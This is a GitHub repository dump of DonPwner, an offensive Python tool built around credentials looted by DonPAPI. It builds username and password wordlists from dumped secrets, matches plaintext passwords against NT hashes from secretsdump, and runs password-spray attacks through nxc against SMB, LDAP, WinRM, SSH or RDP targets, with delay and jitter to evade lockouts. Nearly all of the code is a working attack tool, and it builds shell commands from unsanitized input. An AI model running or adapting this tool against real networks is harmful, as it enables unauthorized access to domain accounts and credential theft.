├── logo.png
├── requirements.txt
├── .gitattributes
├── .gitignore
├── .github
└── FUNDING.yml
├── README.md
└── donpwner.py
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MorDavid/DonPwner/HEAD/logo.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | prettytable>=3.0.0
2 | requests>=2.28.0
3 | PyYAML>=6.0
4 |
5 |
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Python
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 | *.so
6 | .Python
7 | build/
8 | develop-eggs/
9 | dist/
10 | downloads/
11 | eggs/
12 | .eggs/
13 | lib/
14 | lib64/
15 | parts/
16 | sdist/
17 | var/
18 | wheels/
19 | *.egg-info/
20 | .installed.cfg
21 | *.egg
22 |
23 | # Virtual Environment
24 | venv/
25 | ENV/
26 | env/
27 | .venv
28 |
29 | # IDEs
30 | .vscode/
31 | .idea/
32 | *.swp
33 | *.swo
34 | *~
35 |
36 | # DonCracker specific
37 | temp_attack/
38 | temp_smart_attack/
39 | dcs.txt
40 | success.txt
41 | *.db
42 | *.backup
43 |
44 | # Wordlists output
45 | wordlists/
46 |
47 | # Logs
48 | *.log
49 |
50 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: mordavid
4 | patreon: mordavid
5 | open_collective: # Replace with a single Open Collective username
6 | ko_fi: # Replace with a single Ko-fi username
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
12 | polar: # Replace with a single Polar username
13 | buy_me_a_coffee: mordavid
14 | thanks_dev: # Replace with a single thanks.dev username
15 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
16 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 🔥 DonPwner - Advanced DonPAPI Analysis & Attack Tool
2 |
3 |
4 |
5 |
6 |
7 | 
8 | 
9 | 
10 | 
11 |
12 | **Advanced Password Spray & Credential Analysis Tool - Leveraging DonPAPI with Smart Delay & Jitter**
13 |
14 | [Features](#-features) • [Installation](#-installation) • [Usage](#-usage) • [Examples](#-examples) • [Configuration](#️-configuration-options) • [License](#-license)
15 |
16 |
153 |
154 | **⭐ Star this repository if you find it useful!**
155 |
156 | **Made with ❤️ by [Mor David](https://www.mordavid.com) | Join [RootSec Community](https://t.me/root_sec)**
157 |
158 |
159 |
--------------------------------------------------------------------------------
/donpwner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8-sig -*-
3 | # Author - Mor David
4 |
5 | import sqlite3
6 | import argparse
7 | import hashlib
8 | import re
9 | import sys
10 | import os
11 | import time
12 | import random
13 | import requests
14 | import yaml
15 | from pathlib import Path
16 | from prettytable import PrettyTable
17 | from urllib.parse import urlparse
18 |
19 | # Current version
20 | CURRENT_VERSION = "1.1.0"
21 | VERSION_CHECK_URL = "https://mordavid.com/md_versions.yaml"
22 |
23 | def check_for_updates(silent=False, force=False):
24 | """
25 | Check for updates from mordavid.com
26 |
27 | Args:
28 | silent: If True, only show update messages, not "up to date" messages
29 | force: If True, force check even if checked recently
30 |
31 | Returns:
32 | dict: Update information or None if check failed
33 | """
34 | try:
35 | response = requests.get(VERSION_CHECK_URL, timeout=3)
36 | response.raise_for_status()
37 |
38 | # Parse YAML
39 | data = yaml.safe_load(response.text)
40 |
41 | # Find DonPwner in the software list
42 | DonPwner_info = None
43 | for software in data.get('softwares', []):
44 | if software.get('name', '').lower() == 'donpwner':
45 | DonPwner_info = software
46 | break
47 |
48 | if not DonPwner_info:
49 | return None
50 |
51 | latest_version = DonPwner_info.get('version', '0.0.0')
52 |
53 | # Simple version comparison (assumes semantic versioning)
54 | if latest_version != CURRENT_VERSION:
55 | print(f"🔄 Update available: v{CURRENT_VERSION} → v{latest_version} | Download: {DonPwner_info.get('url', 'N/A')}\n")
56 | return {
57 | 'update_available': True,
58 | 'current_version': CURRENT_VERSION,
59 | 'latest_version': latest_version,
60 | 'info': DonPwner_info
61 | }
62 | else:
63 | if not silent:
64 | print(f"✅ DonPwner v{CURRENT_VERSION} is up to date\n")
65 | return {
66 | 'update_available': False,
67 | 'current_version': CURRENT_VERSION,
68 | 'latest_version': latest_version
69 | }
70 |
71 | except:
72 | # Silent fail - no error messages for network issues
73 | return None
74 |
75 | def print_banner(check_updates=True):
76 | """Print banner with tool information and version check"""
77 | banner = f"""
78 | █▀▄ █▀█ █▀█ █▀█ █ █ █▀█ █▀▀ █▀▄
79 | █ █ █ █ █ █ █▀▀ █▄█ █ █ █▀▀ █▀▄
80 | ▀▀ ▀▀▀ ▀ ▀ ▀ ▀ ▀ ▀ ▀ ▀▀▀ ▀ ▀
81 | 🔥 Advanced DonPAPI Analysis & Attack Tool 🎯
82 | Version {CURRENT_VERSION} | Author: Mor David (www.mordavid.com)
83 | 💧 Password Spray Mode Enabled
84 | """
85 | print(banner)
86 |
87 | # Check for updates
88 | if check_updates:
89 | check_for_updates(silent=False)
90 |
91 | def nt_hash(password):
92 | """Convert password to NT hash"""
93 | return hashlib.new('md4', password.encode('utf-16le')).hexdigest().upper()
94 |
95 | def parse_username(username):
96 | """Parse username to extract domain and user parts"""
97 | if not username:
98 | return None, None
99 |
100 | # Check for domain\user format
101 | if '\\' in username:
102 | domain, user = username.split('\\', 1)
103 | return domain.strip(), user.strip()
104 |
105 | # Check for user@domain format
106 | if '@' in username:
107 | user, domain = username.split('@', 1)
108 | return domain.strip(), user.strip()
109 |
110 | # Regular username
111 | return None, username.strip()
112 |
113 | def load_donpapi_secrets(db_path):
114 | """Load secrets from donpapi database"""
115 | # Expand user path (~)
116 | expanded_path = os.path.expanduser(db_path)
117 |
118 | if not os.path.exists(expanded_path):
119 | print(f"❌ Error: Database file not found at {expanded_path}")
120 | if db_path == '~/.donpapi/donpapi.db':
121 | print("💡 Default path not found. Please:")
122 | print(" - Run donpapi to create the database first")
123 | print(" - Or specify custom path with --load-donpapi-db /path/to/donpapi.db")
124 | return []
125 |
126 | try:
127 | conn = sqlite3.connect(expanded_path)
128 | cursor = conn.cursor()
129 |
130 | # Get all secrets with username and password
131 | cursor.execute("""
132 | SELECT DISTINCT username, password
133 | FROM secrets
134 | WHERE username IS NOT NULL
135 | AND password IS NOT NULL
136 | AND username != ''
137 | AND password != ''
138 | """)
139 |
140 | secrets = cursor.fetchall()
141 | conn.close()
142 |
143 | print(f"Loaded {len(secrets)} secrets from donpapi database")
144 | return secrets
145 |
146 | except sqlite3.Error as e:
147 | print(f"Database error: {e}")
148 | return []
149 |
150 | def load_secretsdump(file_path):
151 | """Load NT hashes from secretsdump file"""
152 | if not os.path.exists(file_path):
153 | print(f"Error: Secretsdump file {file_path} not found")
154 | return {}
155 |
156 | nt_hashes = {}
157 | try:
158 | with open(file_path, 'r', encoding='utf-8-sig') as f:
159 | for line in f:
160 | line = line.strip()
161 | if ':' in line and len(line.split(':')) >= 4:
162 | parts = line.split(':')
163 | username = parts[0]
164 | nt_hash_value = parts[3] if len(parts) > 3 else None
165 |
166 | if nt_hash_value and len(nt_hash_value) == 32:
167 | nt_hashes[username.lower()] = nt_hash_value.upper()
168 |
169 | print(f"Loaded {len(nt_hashes)} NT hashes from secretsdump")
170 | return nt_hashes
171 |
172 | except Exception as e:
173 | print(f"Error reading secretsdump file: {e}")
174 | return {}
175 |
176 | def dcsync_command(args):
177 | """Execute dcsync subcommand"""
178 | print("=== DCSYNC Analysis ===")
179 |
180 | # Load secrets from donpapi
181 | secrets = load_donpapi_secrets(args.load_donpapi_db)
182 | if not secrets:
183 | return
184 |
185 | # Load NT hashes from secretsdump
186 | nt_hashes = load_secretsdump(args.load_secretsdump)
187 | if not nt_hashes:
188 | return
189 |
190 | # Create password to NT hash mapping from donpapi
191 | password_to_nt = {}
192 | for username, password in secrets:
193 | password_nt = nt_hash(password)
194 | if password_nt not in password_to_nt:
195 | password_to_nt[password_nt] = []
196 | password_to_nt[password_nt].append((username, password))
197 |
198 | matches = []
199 |
200 | print("\nAnalyzing secretsdump users against donpapi passwords...")
201 |
202 | # Check each user from secretsdump
203 | for secretsdump_user, user_nt_hash in nt_hashes.items():
204 | if user_nt_hash in password_to_nt:
205 | # Found matching NT hash in donpapi passwords
206 | for donpapi_username, donpapi_password in password_to_nt[user_nt_hash]:
207 | donpapi_domain, donpapi_clean_user = parse_username(donpapi_username)
208 | # Also parse the secretsdump user to get its domain
209 | secretsdump_domain, secretsdump_clean_user = parse_username(secretsdump_user)
210 |
211 | # Use the domain from either source (prefer secretsdump domain)
212 | final_domain = secretsdump_domain if secretsdump_domain else donpapi_domain
213 |
214 | matches.append({
215 | 'secretsdump_user': secretsdump_user,
216 | 'nt_hash': user_nt_hash,
217 | 'password': donpapi_password,
218 | 'donpapi_username': donpapi_username,
219 | 'domain': final_domain,
220 | 'clean_user': donpapi_clean_user
221 | })
222 |
223 | # Display results
224 | if matches:
225 | # Group by secretsdump user to avoid duplicates
226 | seen_users = set()
227 | unique_matches = []
228 | for match in matches:
229 | if match['secretsdump_user'] not in seen_users:
230 | seen_users.add(match['secretsdump_user'])
231 | unique_matches.append(match)
232 |
233 | print(f"\n🎯 Found {len(unique_matches)} secretsdump users with known passwords:")
234 |
235 | # Create pretty table
236 | table = PrettyTable()
237 | table.field_names = ["Domain", "Secretsdump User", "Password", "NT Hash", "Found in DonPAPI"]
238 | table.align = "l"
239 |
240 | for match in unique_matches:
241 | # Parse secretsdump user to get clean username
242 | secretsdump_domain, secretsdump_clean_user = parse_username(match['secretsdump_user'])
243 | final_domain = secretsdump_domain if secretsdump_domain else match['domain']
244 | clean_user = secretsdump_clean_user if secretsdump_clean_user else match['secretsdump_user']
245 |
246 | table.add_row([
247 | final_domain if final_domain else "",
248 | clean_user,
249 | match['password'],
250 | match['nt_hash'][:16] + "...", # Truncate hash for readability
251 | match['donpapi_username']
252 | ])
253 |
254 | print(table)
255 | else:
256 | print("\n❌ No secretsdump users found with known passwords from donpapi")
257 |
258 | def extract_command(args):
259 | """Execute extract subcommand"""
260 | print("=== EXTRACT Wordlists ===")
261 |
262 | # Load secrets from donpapi
263 | secrets = load_donpapi_secrets(args.load_donpapi_db)
264 | if not secrets:
265 | return
266 |
267 | domains = set()
268 | users = set()
269 | passwords = set()
270 | user_pass_combos = set()
271 |
272 | print(f"\nProcessing {len(secrets)} secrets...")
273 |
274 | for username, password in secrets:
275 | domain, clean_user = parse_username(username)
276 |
277 | if domain:
278 | domains.add(domain)
279 |
280 | if clean_user:
281 | users.add(clean_user)
282 | user_pass_combos.add(f"{clean_user}:{password}")
283 |
284 | passwords.add(password)
285 |
286 | # Create output directory
287 | output_dir = Path("wordlists")
288 | output_dir.mkdir(exist_ok=True)
289 |
290 | # Write wordlists
291 | wordlists = [
292 | ("domains.txt", domains, "domains"),
293 | ("users.txt", users, "users"),
294 | ("passwords.txt", passwords, "passwords"),
295 | ("user_pass.txt", user_pass_combos, "user:password combinations")
296 | ]
297 |
298 | # Create summary table
299 | table = PrettyTable()
300 | table.field_names = ["Wordlist", "Count", "Status"]
301 | table.align = "l"
302 |
303 | for filename, data, description in wordlists:
304 | if data:
305 | filepath = output_dir / filename
306 | with open(filepath, 'w', encoding='utf-8') as f:
307 | for item in sorted(data):
308 | f.write(f"{item}\n")
309 | table.add_row([filename, len(data), "✅ Created"])
310 | else:
311 | table.add_row([filename, 0, "⚠️ Empty"])
312 |
313 | print("\nWordlist Summary:")
314 | print(table)
315 | print(f"\n📁 Wordlists saved to: {output_dir.absolute()}")
316 |
317 | def attack_dcs_with_nxc(protocol='smb', target=None, user_file=None, pass_file=None, username=None, password=None, hashes=None, kerberos=False, proxychains=False, extra_args="", delay=0, jitter=0):
318 | """Attack target using nxc with PASSWORD SPRAY"""
319 | if not target:
320 | print("❌ No target specified for attack.")
321 | return False, []
322 |
323 | print(f"🎯 Target: {target}")
324 | print(f"📡 Protocol: {protocol.upper()}...")
325 | print(f"💧 Attack Mode: PASSWORD SPRAY (iterate passwords, not users)")
326 | if delay > 0:
327 | if jitter > 0:
328 | print(f"⏱️ Delay: {delay} minutes (±{jitter}% jitter)")
329 | else:
330 | print(f"⏱️ Delay: {delay} minutes between passwords")
331 |
332 | attack_target = target
333 |
334 | # PASSWORD SPRAY Logic: Read passwords and iterate
335 | if user_file and pass_file:
336 | # Read all passwords
337 | with open(pass_file, 'r', encoding='utf-8-sig') as f:
338 | passwords = [line.replace('\ufeff', '').strip() for line in f if line.replace('\ufeff', '').strip()]
339 |
340 | if not passwords:
341 | print("❌ No passwords found in password file.")
342 | return False, []
343 |
344 | print(f"\n🔐 Loaded {len(passwords)} passwords for spray attack")
345 | print(f"👥 Using user file: {user_file}")
346 |
347 | all_success_lines = []
348 | total_success = 0
349 | successful_users = set() # Track users with successful auth
350 |
351 | import subprocess
352 | from pathlib import Path
353 |
354 | # Read initial users
355 | with open(user_file, 'r', encoding='utf-8-sig') as f:
356 | all_users = [line.replace('\ufeff', '').strip() for line in f if line.replace('\ufeff', '').strip()]
357 |
358 | remaining_users = set(all_users)
359 |
360 | for idx, single_pass in enumerate(passwords, 1):
361 | # Skip if no more users to test
362 | if not remaining_users:
363 | print(f"\n🎉 All users have been successfully authenticated!")
364 | print(f"⏭️ Skipping remaining {len(passwords) - idx + 1} passwords")
365 | break
366 | print(f"\n{'='*60}")
367 | print(f"💧 PASSWORD SPRAY {idx}/{len(passwords)}: Testing '{single_pass}' against {len(remaining_users)} remaining users")
368 | print(f"{'='*60}")
369 |
370 | # Create temp user file with only remaining users
371 | temp_user_file = Path("temp_attack") / f"remaining_users_spray{idx}.txt"
372 | temp_user_file.parent.mkdir(exist_ok=True)
373 | with open(temp_user_file, 'w', encoding='utf-8') as f:
374 | for user in sorted(remaining_users):
375 | f.write(f"{user}\n")
376 |
377 | # Build nxc command for this password
378 | nxc_cmd = f"nxc {protocol} {attack_target}"
379 |
380 | # Add authentication with single password
381 | if hashes:
382 | nxc_cmd += f" -u {temp_user_file} -H '{hashes}'"
383 | elif kerberos:
384 | nxc_cmd += f" -u {temp_user_file} -k"
385 | else:
386 | nxc_cmd += f" -u {temp_user_file} -p '{single_pass}'"
387 |
388 | # Add extra arguments
389 | if extra_args:
390 | nxc_cmd += f" {extra_args}"
391 |
392 | # Add continue on success by default
393 | if "--continue-on-success" not in nxc_cmd:
394 | nxc_cmd += " --continue-on-success"
395 |
396 | if proxychains:
397 | nxc_cmd = f"proxychains {nxc_cmd}"
398 |
399 | print(f"🚀 Executing: {nxc_cmd}")
400 |
401 | try:
402 | result = subprocess.run(nxc_cmd, shell=True, capture_output=True, text=True, timeout=600)
403 |
404 | if result.stdout:
405 | print(result.stdout)
406 |
407 | if result.stderr and result.stderr.strip():
408 | print("STDERR:")
409 | print(result.stderr)
410 |
411 | # Count successful authentications and extract usernames
412 | success_count = 0
413 | if result.stdout:
414 | lines = result.stdout.split('\n')
415 | for line in lines:
416 | if '[+]' in line:
417 | success_count += 1
418 | all_success_lines.append(line.strip())
419 | total_success += 1
420 |
421 | # Extract username from success line
422 | # Format: "... [+] DOMAIN\user:password" or "... [+] user:password"
423 | try:
424 | if '[+]' in line:
425 | # Split by [+] and get the credential part
426 | cred_part = line.split('[+]')[1].strip()
427 | if ':' in cred_part:
428 | # Extract user part (before :)
429 | user_cred = cred_part.split(':')[0].strip()
430 | # Handle domain\user format
431 | if '\\' in user_cred:
432 | username_only = user_cred.split('\\')[1]
433 | else:
434 | username_only = user_cred
435 |
436 | # Remove from remaining users
437 | if username_only in remaining_users:
438 | remaining_users.remove(username_only)
439 | successful_users.add(username_only)
440 | except:
441 | pass # If parsing fails, continue
442 |
443 | if success_count > 0:
444 | print(f"✅ Password '{single_pass}': {success_count} successful authentications!")
445 | print(f"📊 Remaining users to test: {len(remaining_users)}/{len(all_users)}")
446 | else:
447 | print(f"❌ Password '{single_pass}': No matches")
448 |
449 | except subprocess.TimeoutExpired:
450 | print(f"❌ Command timed out for password '{single_pass}'")
451 | except Exception as e:
452 | print(f"❌ Error testing password '{single_pass}': {e}")
453 |
454 | # Apply delay between passwords (except after the last one)
455 | if delay > 0 and idx < len(passwords):
456 | # Calculate actual delay with jitter
457 | actual_delay = delay
458 | if jitter > 0:
459 | # Apply jitter: delay ± (delay * jitter/100)
460 | jitter_amount = delay * (jitter / 100.0)
461 | actual_delay = delay + random.uniform(-jitter_amount, jitter_amount)
462 | # Ensure delay is not negative
463 | actual_delay = max(0.1, actual_delay)
464 |
465 | delay_seconds = int(actual_delay * 60)
466 | print(f"⏱️ Waiting {actual_delay:.1f} minutes ({delay_seconds} seconds) before next password...")
467 | time.sleep(delay_seconds)
468 |
469 | print(f"\n{'='*60}")
470 | print(f"🎯 PASSWORD SPRAY COMPLETE: {total_success} total successful authentications")
471 | print(f"{'='*60}")
472 |
473 | return total_success > 0, all_success_lines
474 |
475 | else:
476 | # Fallback: single username/password (non-spray mode)
477 | print("⚠️ No user/pass files provided, falling back to single auth mode")
478 | nxc_cmd = f"nxc {protocol} {attack_target}"
479 |
480 | if hashes:
481 | if username:
482 | nxc_cmd += f" -u '{username}' -H '{hashes}'"
483 | elif user_file:
484 | nxc_cmd += f" -u {user_file} -H '{hashes}'"
485 | else:
486 | nxc_cmd += f" -u '' -H '{hashes}'"
487 | elif kerberos:
488 | nxc_cmd += " -k"
489 | if username:
490 | nxc_cmd += f" -u '{username}'"
491 | elif username and password:
492 | nxc_cmd += f" -u '{username}' -p '{password}'"
493 | else:
494 | nxc_cmd += f" -u '' -p ''"
495 |
496 | if extra_args:
497 | nxc_cmd += f" {extra_args}"
498 |
499 | if "--continue-on-success" not in nxc_cmd:
500 | nxc_cmd += " --continue-on-success"
501 |
502 | if proxychains:
503 | nxc_cmd = f"proxychains {nxc_cmd}"
504 |
505 | print(f"🚀 Executing: {nxc_cmd}")
506 |
507 | try:
508 | import subprocess
509 | result = subprocess.run(nxc_cmd, shell=True, capture_output=True, text=True, timeout=600)
510 |
511 | print("\n" + "="*60)
512 | print("NXC DC ATTACK OUTPUT:")
513 | print("="*60)
514 |
515 | if result.stdout:
516 | print(result.stdout)
517 |
518 | if result.stderr:
519 | print("STDERR:")
520 | print(result.stderr)
521 |
522 | print("="*60)
523 |
524 | success_count = 0
525 | success_lines = []
526 | if result.stdout:
527 | lines = result.stdout.split('\n')
528 | for line in lines:
529 | if '[+]' in line:
530 | success_count += 1
531 | success_lines.append(line.strip())
532 |
533 | if success_count > 0:
534 | print(f"✅ Attack completed with {success_count} successful authentications!")
535 | else:
536 | print("⚠️ No successful authentications found")
537 |
538 | return success_count > 0, success_lines
539 |
540 | except subprocess.TimeoutExpired:
541 | print("❌ Command timed out after 10 minutes")
542 | return False, []
543 | except Exception as e:
544 | print(f"❌ Error during DC attack: {e}")
545 | return False, []
546 |
547 | def attack_command(args):
548 | """Execute attack subcommand - Direct Attack"""
549 | print("=== ATTACK Mode - Password Spray Attack ===")
550 |
551 | if not args.target:
552 | print("❌ Target is required for attack")
553 | print("💡 Use --target (e.g., 192.168.1.0/24, domain.com, or IP)")
554 | return
555 |
556 | # Determine wordlists for attack
557 | # Start with defaults
558 | default_user_file = 'wordlists/users.txt'
559 | default_pass_file = 'wordlists/passwords.txt'
560 |
561 | # Use custom files if provided, otherwise fall back to defaults
562 | attack_user_file = args.user_file if hasattr(args, 'user_file') and args.user_file else default_user_file
563 | attack_pass_file = args.pass_file if hasattr(args, 'pass_file') and args.pass_file else default_pass_file
564 |
565 | # Check if wordlists exist
566 | if not os.path.exists(attack_user_file):
567 | print(f"❌ User file not found: {attack_user_file}")
568 | print("💡 Create wordlists first:")
569 | print(" 1. Run: ./donpwner.py extract")
570 | print(" 2. Or specify: --user-file ")
571 | return
572 |
573 | if not os.path.exists(attack_pass_file):
574 | print(f"❌ Password file not found: {attack_pass_file}")
575 | print("💡 Create wordlists first:")
576 | print(" 1. Run: ./donpwner.py extract")
577 | print(" 2. Or specify: --pass-file ")
578 | return
579 |
580 | print(f"📝 Using wordlists:")
581 | print(f" Users: {attack_user_file}")
582 | print(f" Passwords: {attack_pass_file}")
583 |
584 | # Execute attack
585 | attack_success, success_lines = attack_dcs_with_nxc(
586 | protocol=args.protocol,
587 | target=args.target,
588 | user_file=attack_user_file,
589 | pass_file=attack_pass_file,
590 | username=None,
591 | password=None,
592 | hashes=None,
593 | kerberos=False,
594 | proxychains=args.proxychains,
595 | extra_args=args.extra_args if hasattr(args, 'extra_args') and args.extra_args else "",
596 | delay=args.delay if hasattr(args, 'delay') else 0,
597 | jitter=args.jitter if hasattr(args, 'jitter') else 0
598 | )
599 |
600 | # Save successful authentications to output file
601 | if success_lines:
602 | try:
603 | from datetime import datetime
604 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
605 | with open(args.output_file, 'a', encoding='utf-8') as f:
606 | f.write(f"\n{'='*60}\n")
607 | f.write(f"Scan Time: {timestamp}\n")
608 | f.write(f"{'='*60}\n")
609 | for line in success_lines:
610 | f.write(f"{line}\n")
611 | print(f"💾 Successful authentications appended to: {args.output_file}")
612 | except Exception as e:
613 | print(f"⚠️ Warning: Could not save output file: {e}")
614 | else:
615 | print(f"💾 No successful authentications to save to: {args.output_file}")
616 |
617 | # Cleanup temp files
618 | try:
619 | temp_dir = Path("temp_attack")
620 | if temp_dir.exists():
621 | import shutil
622 | shutil.rmtree(temp_dir)
623 | print("\n🧹 Cleaned up temporary files")
624 | except Exception as e:
625 | print(f"⚠️ Warning: Could not cleanup temp files: {e}")
626 |
627 | def main():
628 | # Parse args first to check for --no-update-check
629 | import sys
630 | check_updates = '--no-update-check' not in sys.argv
631 |
632 | # Print banner
633 | print_banner(check_updates=check_updates)
634 |
635 | parser = argparse.ArgumentParser(description="DonPwner - Advanced DonPAPI Analysis & Attack Tool")
636 | subparsers = parser.add_subparsers(dest='command', help='Available commands')
637 |
638 | # EXTRACT subcommand
639 | extract_parser = subparsers.add_parser('extract', help='Extract wordlists from donpapi database')
640 | extract_parser.add_argument('--load-donpapi-db', default='~/.donpapi/donpapi.db', help='Path to donpapi.db file (default: ~/.donpapi/donpapi.db)')
641 |
642 | # ATTACK subcommand
643 | attack_parser = subparsers.add_parser('attack', help='Attack target using nxc with PASSWORD SPRAY')
644 | attack_parser.add_argument('--target', required=True, help='Target to attack (e.g., 192.168.1.0/24, domain.com, or IP)')
645 | attack_parser.add_argument('--protocol', choices=['ldap', 'smb', 'winrm', 'ssh', 'rdp'], default='smb', help='Protocol for attack (default: smb)')
646 | attack_parser.add_argument('--user-file', help='Custom user wordlist file (default: wordlists/users.txt)')
647 | attack_parser.add_argument('--pass-file', help='Custom password wordlist file (default: wordlists/passwords.txt)')
648 | attack_parser.add_argument('--delay', type=int, default=0, help='Delay in minutes between password attempts (default: 0)')
649 | attack_parser.add_argument('--jitter', type=int, default=0, help='Jitter percentage for delay randomization (default: 0, example: 20 = ±20%%)')
650 | attack_parser.add_argument('--extra-args', help='Extra arguments to pass to nxc command')
651 | attack_parser.add_argument('--output-file', default='success.txt', help='Output file to save successful authentications (default: success.txt)')
652 | attack_parser.add_argument('--proxychains', action='store_true', help='Use proxychains before nxc command')
653 |
654 | # DCSYNC subcommand
655 | dcsync_parser = subparsers.add_parser('dcsync', help='Compare donpapi secrets with secretsdump NT hashes')
656 | dcsync_parser.add_argument('--load-secretsdump', required=True, help='Path to secretsdump file')
657 | dcsync_parser.add_argument('--load-donpapi-db', default='~/.donpapi/donpapi.db', help='Path to donpapi.db file (default: ~/.donpapi/donpapi.db)')
658 |
659 | # Global arguments
660 | parser.add_argument('--no-update-check', action='store_true', help='Skip version update check')
661 |
662 | args = parser.parse_args()
663 |
664 | if not args.command:
665 | parser.print_help()
666 | return
667 |
668 | if args.command == 'dcsync':
669 | dcsync_command(args)
670 | elif args.command == 'extract':
671 | extract_command(args)
672 | elif args.command == 'attack':
673 | attack_command(args)
674 |
675 | if __name__ == "__main__":
676 | main()
677 |
--------------------------------------------------------------------------------